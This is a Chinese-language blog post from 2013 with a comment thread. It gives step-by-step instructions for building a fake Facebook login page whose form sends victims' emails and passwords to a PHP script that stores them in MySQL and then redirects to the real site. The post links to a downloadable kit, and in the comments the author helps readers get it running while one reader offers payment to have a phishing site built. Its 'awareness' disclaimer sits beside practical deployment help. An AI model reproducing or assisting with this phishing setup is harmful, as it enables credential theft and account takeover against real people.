製作一個釣魚網站到底有多簡單?

8 / 3, 2013 Facebook , 網路安全

網路上充斥著危險,最常被大家提起的,應該就是釣魚網站了,不要以為這個技術是多麼的高深困難,而且幾乎是十分鐘就可以完成一個,到底有多麼簡單呢?我們馬上來實作一個!
本篇文章是要藉由實作來告訴大家釣魚網站的威脅有多麼可怕,若使用本文章所提供的任何程式碼及檔案從事違法用途,本站不用負起任何責任,請程式使用者自行承擔

註:如果您的資料庫名稱不是fbhack,那請把以下程式碼中所有”fbhack”字串都改成你的資料庫名稱

我們先以Facebook為例,Facebook除了首頁登入,還有https://www.facebook.com/login可以登入,首先連入這個網站並觀看程式碼

fbhack-1

看不懂?沒關係,把整個程式碼複製下來,並貼到一個html網頁中

fbhack-2

更新:也可以直接另存網頁

請找到

form id="login_form"

把「/login.php?login_attempt=1」替換成「login.php」,現在都還是製作釣魚網站的主頁面,接著我們要開始製作將使用者帳號密碼儲存起來的程式,本篇教學採用php(因為小弟也只會php XD),新建一個php檔案,名為login.php,打開並先貼上

雖然簡單,但是還是解釋一下以上程式碼,以非常簡略的說,就是取得post中的「email」與「pass」的值,分別是帳號及密碼,然後我們要將其寫入資料庫。

一般來說,一旦拿到帳號密碼,就會將使用者轉移到真正的登入介面並顯示帳號密碼有誤,因為釣魚網站無法連結到真正的網站來檢測密碼是否正確,只好顯示密碼錯誤並導向到密碼錯誤的頁面,但是問題來了,Facebook是透過post值決定要顯示哪個錯誤訊息,因此不可能透過網址來讓使用者看到密碼錯誤訊息(不信可以看看這個網頁,不論是帳號、密碼錯誤,還是什麼都沒有填寫,看到的都是這個網址),解決的辦法,就是顯示一個錯誤訊息,然後導向到真正的登入畫面,請接著在login.php貼上:

最後回到Mysql的部份,我們要把資料寫入資料庫,第一行引入的「SQL.php」是等一下要連線到Mysql的資料,先不用管他,下一句

意思很簡單,就是寫一個SQL指令,第一個%s對應到 email,第二個%s對應到 pass,也就是依序把帳號密碼寫入到fbhack->account裡面。
第二句,就只是執行第二句的SQL指令。接著來到SQL.php,不講解了

接著就是Mysql資料表了,請建立一個資料庫名為「fbhack」,建立資料表名為「account」,並新增兩欄分別為「email」及「pass」,或是執行以下SQL指令

然後…..大功告成,看看自己做出來的彷Facebook釣魚網站,那麼的逼真,製作又很簡單,有沒有覺得很可怕啊!

最後~小弟把這個程式的所有檔案打包好了給大家下載,其中fbhack.sql是SQL檔,只要把這個檔案導入就可以建好資料庫了
http://s3131212.com/download.php?s=fbhack.zip


2015/04/07 更新:
由於好多人都說之前的 Code 有 SQL Injection 問題,但是小弟覺得這只是一個示範,並不是要大家拿來用,幹嘛防禦 == ,不過既然都說了,我就把 Code 更新了一下,雖然現在可以防禦攻擊,但是還是請勿使用此 Code 於任何非法用途

  • walking

    請問將其寫入資料表示甚麼意思?然後把fbhack.sql導入之後要做甚麼?我是笨豬:(

  • sin Lee

    可以請問 為什麼資料不會回傳資料庫嗎?

  • sin Lee

    請問為什麼我自己試著寫過 可是就是沒辦法成功? 下載打包的也是不懂得怎麼用 請問html的輸入之後 卻跳說找不到您的檔案

  • HAO HJ科技

    有辦法做手機板嗎??

  • 白牙

    請問 成功匯入fbhack.sql後到這個畫面要按什麼呢?
    直接保存嗎 還是要填什麼資料

    • s3131212

      這樣並沒有匯入成功喔

      • 白牙

        這樣沒有嗎?

      • 白牙

        我有用虛擬IP建立一個大家都能連的網頁伺服器
        能幫我看看嗎? 按登入後跑出這樣的訊息

        Warning: mysqli_connect(): (HY000/1045): Access denied for user ”@’localhost’ (using password: NO) in C:AppServwwwSQL.php on line 7

        Warning: mysqli_error() expects exactly 1 parameter, 0 given in C:AppServwwwSQL.php on line 7

        Fatal error: in C:AppServwwwSQL.php on line 7

      • 白牙

        懂了… 這裡要寫管理員帳號密碼是吧

    • 白牙

      哦哦!! 不好意思 沒看清楚
      新增email、pass資料表

  • 洪秉榮

    最後您說的:「其中fbhack.sql是SQL檔,只要把這個檔案導入就可以建好資料庫了!」是什麼意思?我下載您打包好的~

    • s3131212

      把打包檔中的 fbhack.sql 匯入資料庫

      • 洪秉榮

        如何匯入?

        • s3131212

          Google: phpMyAdmin SQL 匯入

          • 洪秉榮

            可以提供網址嗎(免費版)?

  • Niconki Ryan

    我不明白–

  • Sam Earsty

    請問用MySQL Workbench
    可以上傳sql黨嗎
    還有一個問題

    php檔要上傳的嗎
    還是完全不用動

    • s3131212

      可以啊,用 CLI 就可以匯入了
      PHP 要丟到伺服器根目錄

      • 黎昱志

        可以幫我製作一個嗎 ,我可以給你費用

      • sin Lee

        請問我把php黨放在xampp的跟目錄裡面
        可是html 只有架構 輸入完密碼後並沒有匯入到myadmin
        而且之後也導向出問題 請問是哪裡做錯了?

        找不到您的檔案

        檔案可能已移至其他位置或遭到刪除。
        ERR_FILE_NOT_FOUND

  • Ricky圻

    大大您好,想請問我自己有測試過,但卻找不到帳密存在哪裡???
    麻煩您解說了,萬分感謝…

    • s3131212

      存在資料庫中

      • 黎昱志

        可以幫我製作一個嗎 ,我可以給你費用 ,Fb網站

  • 余明霖

    製作釣魚網頁難度不高…難怪釣魚網站橫行~
    但是製作好了釣魚網站還要懂得裝飾~
    所以還是得要有一點基礎啦@@

    • s3131212

      是貓熊欸(快拜

      • 余明霖

        是allen耶~(快推上龍椅

  • zhiting

    請問一下該如何匯入,謝謝!

    • s3131212

      可以在 phpmyadmin 匯入喔

  • eric

    上述的都做好之後是要存檔嗎?

    • s3131212

      沒錯,存檔後上傳到伺服器就可以囉

  • JAY

    请问下。。输入的帐号和密码会存在哪里?

    • s3131212

      Mysql資料庫內喔~

      • encorek39763

        不好意思,目前與朋友測試過,對方可以成功的使用他的電腦進入我的網站,在輸入完他的帳密後也很順利的跳到真正FB登入畫面,可是我這邊總是沒有任何資料進入,可否詳細的講解一下資料回傳會存在哪呢~拜託了

      • encorek39763

        另外在SQL.php的部分中,$username_SQL=”帳號”;
        $password_SQL=”密碼”;
        $hostname_SQL=”伺服器位置”;
        他們的帳號、密碼、伺服器位置是否需要自行填入自己的?? 還是說不需更改複製貼上即可??
        若是須要自行填入的話,帳號密碼是否為進入http://localhost/phpMyAdmin/時所需輸入的??
        那伺服器位置又該填入何種資料呢??

        • s3131212

          沒錯就是登入phpmyadmin時用的帳號密碼喔

  • henry

    我在自己的localhost測試成功
    但在其他server上無法執行ㄟ((資料表沒有任何資料

    • s3131212

      這個我倒是沒有遇過,這個php程式我在撰寫時都是在遠端主機(我的NAS)上測試,沒有在localhost測試過,能不能詳細的敘述狀況一下,謝謝

  • secret

    奇怪了…
    為什麼SQL.php跟舊版會員系統的神似度超過 90%?

    • secret

      && 寫入資料時沒有安全保護
      可能會被SQL注入

      • s3131212

        (基本上我不覺得會被釣魚網站騙的人知道SQL注入是什麼)

        • secret

          釣魚網站介面也得長得像

          • s3131212

            不像怎麼騙人勒?

        • gan068

          注入的人是為了取得你已取得的帳密以及主機權限,拿走主機上的其它東西

          • s3131212

            有道理欸,那麼這樣已經掉到的資料就會被拿走,不過這就只是一個範例,總不可能寫成一個「Allen釣魚系統」吧….不太想修理XD

    • s3131212

      原因很簡單,這是拿當初Allen Cloud註冊系統改的,當時的註冊系統SQL就是用會員系統的….

      • secret

        真是的…